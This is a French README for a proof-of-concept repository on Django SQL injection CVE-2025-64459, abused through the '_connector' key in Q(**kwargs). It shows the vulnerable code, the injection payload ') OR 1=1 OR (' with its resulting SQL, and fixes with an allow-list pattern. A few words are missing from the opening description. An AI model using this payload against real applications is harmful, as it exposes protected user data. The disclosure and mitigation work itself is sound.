
Vulnérabilité : SQL Injection via QuerySet et Q() déballage d'arguments par mots-clés. CVE ID : CVE-2025-64459 Sévérité : Critique (CVSS 9.1) Versions concernées : Django 5.1 < 5.1.14, 4.2 < 4.2.26, et 5.2 < 5.2.8. Chercheur : Cyberstan (Université de Warwick)
Vulnérabilité : Injection SQL via le déballage d'arguments de mots-clés QuerySet et Q().
CVE ID : CVE-2025-64459
Découvert par : Moi (Cyberstan)
Date de divulgation : 5 novembre 2025
Ce dépôt contient une Preuve de Concept (PoC) dockerisée démontrant une vulnérabilité critique d'injection SQL dans l'ORM Django.
La vulnérabilité réside dans la façon dont l'objet Q gère les arguments de mots-clés lors de l'instanciation. Plus précisément, l'attribut interne _connector n'est pas correctement assaini lorsqu'il est passé via un déballage de dictionnaire (par exemple, ). Cela permet à un attaquant distant d'injecter une logique SQL arbitraire dans la clause d'une requête de base de données, permettant un , une et une .
Q(**user_input)WHERELa vulnérabilité réside dans django.db.models.sql.where.WhereNode. La méthode as_sql, qui est responsable de la compilation de la clause WHERE SQL, utilise un formatage de chaîne non sécurisé pour insérer le connecteur de requête (AND/OR).
Bien que le connecteur par défaut soit généralement "AND" ou "OR", Django permet de le remplacer via l'argument de mot-clé _connector dans le constructeur de l'objet Q.
# Logique vulnérable simplifiée dans django/db/models/sql/where.py
def as_sql(self, compiler, connection):
# ...
# L'attribut self.connector est injecté directement sans validation
conn = ' %s ' % self.connector
# ...
La vulnérabilité est déclenchée lorsque les développeurs utilisent le déballage de dictionnaire pour construire des filtres à partir de l'entrée utilisateur—un modèle courant dans les API de recherche.
Modèle de Code Vulnérable :
# L'attaquant contrôle les clés et les valeurs de 'filters'
filters = request.GET.dict()
query = Q(**filters) # <--- POINT VULNÉRABLE
results = User.objects.filter(query)
Si un attaquant inclut _connector comme clé dans son entrée, il peut manipuler la structure SQL.
Cette PoC utilise Docker pour garantir un environnement cohérent et isolé contenant la version vulnérable de Django (5.1).
git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC
Exécutez la commande suivante pour construire l'environnement et exécuter le script d'attaque :
docker-compose up --build
Le conteneur exécutera un script Python (poc.py) qui imite un point de terminaison d'application vulnérable.
alice (standard) et root (admin)._connector.Sortie de l'Exploit Réussi :
Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.
Mettez à jour Django vers la dernière version de sécurité immédiatement.
pip install Django==5.1.14 (ou version pertinente)Le correctif introduit une validation stricte dans WhereNode, garantissant que connector n'est jamais différent de AND ou OR.
Si vous ne pouvez pas mettre à jour immédiatement, auditez votre codebase pour l'utilisation de Q(**kwargs) ou filter(**kwargs). Assurez-vous que le dictionnaire passé à ces méthodes ne contient jamais de clés brutes contrôlées par l'utilisateur.
Modèle Sûr :
# Listez explicitement les champs autorisés
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}
# Maintenant sûr pour le déballage
User.objects.filter(**clean_filters)
Ce dépôt est uniquement destiné à des fins éducatives et de recherche en sécurité.
Le code fourni crée un environnement vulnérable pour démontrer une faille de sécurité spécifique. Il ne doit jamais être exécuté dans un environnement de production. L'auteur (Cyberstan) n'est pas responsable de toute utilisation abusive de ces informations. Tester cet exploit contre des systèmes sans autorisation explicite est illégal.